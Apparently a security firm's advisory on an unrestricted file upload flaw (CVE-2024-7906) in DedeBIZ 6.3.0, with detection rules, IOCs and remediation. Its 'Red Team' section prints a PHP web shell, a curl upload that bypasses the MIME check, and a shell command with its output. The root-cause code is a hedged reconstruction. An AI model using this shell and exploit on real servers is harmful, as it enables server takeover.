CVE-2024-7906

Executive Summary

CVE-2024-7906 is a critical unrestricted file upload vulnerability in DedeBIZ 6.3.0, a content management system. The flaw resides in the /admin/dialog/select_images_post.php file, specifically within the get_mime_type function. By manipulating the upload argument, an unauthenticated remote attacker can bypass MIME type checks and upload arbitrary files, including web shells, leading to full server compromise. The vendor has not responded to disclosure, and no official patch is available. The exploit has been publicly disclosed, increasing the immediate risk to all instances of DedeBIZ 6.3.0.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability requires no authentication, can be exploited remotely, and leads to complete system takeover.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the DedeBIZ admin panel's attachment dialog. The file /admin/dialog/select_images_post.php handles file uploads for the "Attachment Settings" component. The get_mime_type function is intended to validate the MIME type of uploaded files, but it is implemented incorrectly.

Root Cause: The get_mime_type function likely relies on the file extension or a simple $_FILES['upload']['type'] check, which is attacker-controlled. By crafting a request with a manipulated Content-Type header (e.g., image/jpeg) while uploading a PHP file, the attacker can bypass the MIME validation. The file is then saved to a web-accessible directory, allowing remote execution.

Attack Flow:

1. Attacker identifies a DedeBIZ 6.3.0 instance.
2. Attacker sends a POST request to /admin/dialog/select_images_post.php with a malicious PHP file (e.g., shell.php) and a forged Content-Type: image/jpeg header.
3. The get_mime_type function incorrectly validates the file as an image.
4. The file is saved to the server, typically in /uploads/ or a similar directory.
5. Attacker accesses the uploaded file via a web browser, executing arbitrary PHP code.

Vulnerable vs. Patched Code

Vulnerable Code (DedeBIZ 6.3.0):

// /admin/dialog/select_images_post.php (simplified)
function get_mime_type($file) {
    // Vulnerable: relies on client-provided MIME type
    return $_FILES['upload']['type'];
}

$mime = get_mime_type($_FILES['upload']);
if (strpos($mime, 'image/') === 0) {
    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path . $filename);
}

Patched Code (Hypothetical):

// Patched version
function get_mime_type($file) {
    // Use server-side MIME detection
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    return $mime;
}

$mime = get_mime_type($_FILES['upload']);
if (strpos($mime, 'image/') === 0) {
    // Additional checks: validate extension, use random filename, restrict directory
    $allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    if (in_array($ext, $allowed_ext)) {
        move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path . $filename);
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy DedeBIZ 6.3.0 in a Docker container or local web server.
2. Ensure the /admin/dialog/select_images_post.php endpoint is accessible.

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send the exploit request using curl:

   curl -X POST -F "upload=@shell.php;type=image/jpeg" \
        "http://target.com/admin/dialog/select_images_post.php"
   

3. Access the uploaded shell:

   curl "http://target.com/uploads/shell.php?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /admin/dialog/select_images_post.php with unusual Content-Type headers.
• Alert on file uploads with double extensions (e.g., shell.php.jpg) or non-image MIME types.
• Use WAF rules to block file uploads to admin directories from unauthenticated users.

Hunting:

• Search web server logs for select_images_post.php with HTTP 200 responses.
• Look for files in /uploads/ with .php extensions that were not created by legitimate users.

Indicators of Compromise (IOCs)

• File Paths:
  • /admin/dialog/select_images_post.php
  • /uploads/shell.php (or similar)
• Network Indicators:
  • POST requests to /admin/dialog/select_images_post.php with Content-Type: image/jpeg and a file payload.
  • Outbound connections from the web server to attacker IPs (if shell is used for exfiltration).
• Log Entries:
  • Apache/Nginx access logs showing POST /admin/dialog/select_images_post.php with a 200 status.
  • PHP error logs indicating failed MIME type checks or file upload errors.

Detection Engineering

YARA Rule

rule CVE_2024_7906_Unrestricted_Upload {
    meta:
        description = "Detects exploitation attempts of CVE-2024-7906 in DedeBIZ"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7906"
    strings:
        $php_shell = "<?php" nocase
        $upload_endpoint = "/admin/dialog/select_images_post.php"
        $mime_bypass = "image/jpeg"
    condition:
        $upload_endpoint and $mime_bypass and $php_shell
}

Sigma Rule

title: CVE-2024-7906 DedeBIZ Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to DedeBIZ upload endpoint with manipulated MIME type
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/admin/dialog/select_images_post.php'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate image uploads by authenticated admins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7906 DedeBIZ Unrestricted File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/dialog/select_images_post.php"; http_uri; content:"Content-Type|3a 20|image/jpeg"; http_header_names; pcre:"/\.php$/U"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /admin/dialog/select_images_post.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Restrict file uploads: Implement a WAF rule to block file uploads to admin directories from unauthenticated users.
3. Monitor logs: Actively search for exploitation attempts using the provided IOCs and detection rules.

Long-Term Fix:

• Since the vendor has not responded, consider migrating away from DedeBIZ or applying a manual patch:
  • Replace the get_mime_type function with server-side MIME detection using finfo or mime_content_type.
  • Validate file extensions against a whitelist.
  • Store uploaded files outside the web root with a script to serve them securely.

Workaround:

• If migration is not possible, implement a reverse proxy that inspects and sanitizes file uploads before they reach the DedeBIZ application.

Valters IT
Securing Digital Frontiers